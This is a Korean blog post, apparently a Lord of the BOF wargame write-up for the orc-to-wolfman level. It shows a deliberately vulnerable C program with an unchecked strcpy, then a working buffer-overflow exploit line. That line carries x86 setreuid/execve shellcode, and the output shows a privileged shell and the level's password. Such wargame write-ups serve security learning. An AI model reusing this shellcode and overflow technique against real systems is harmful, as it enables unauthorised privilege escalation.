ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [lob] orc -> wolfman
    공부/LOB 2014. 7. 30. 20:02

    wolfman  wolfman.c
    [orc@localhost orc]$ cat wolfman.c
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - wolfman
            - egghunter + buffer hunter
    */

    #include <stdio.h>
    #include <stdlib.h>

    extern char **environ;

    main(int argc, char *argv[])
    {
        char buffer[40];
        int i;

        if(argc < 2){
            printf("argv error\n");
            exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
            memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
            printf("stack is still your friend.\n");
            exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

            // buffer hunter
            memset(buffer, 0, 40);
    }
    [orc@localhost orc]$

    [orc@localhost orc]$ ./wolfman `python -c'print "a"*44+"\xd4\xfa\xff\xbf"+"\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa喇?육1??햰?육F?1픐h//shh/bin??S??柰
                                                                                          ?
    bash$ ls
    ls: .: Permission denied
    bash$ my-pass
    euid = 505
    love eyuna
    bash$

    '공부 > LOB' 카테고리의 다른 글

    [lob] darkelf -> orge  (0) 2014.07.30
    [lob] wolfman -> darkelf  (0) 2014.07.30
    [lob] orc -> wolfman  (0) 2014.07.30
    [lob]goblin->orc  (0) 2014.07.30
    [lob]cobolt->goblin  (0) 2014.07.30
    [lob] greblin->cobolt  (0) 2014.07.30

    댓글 0

Designed by Tistory.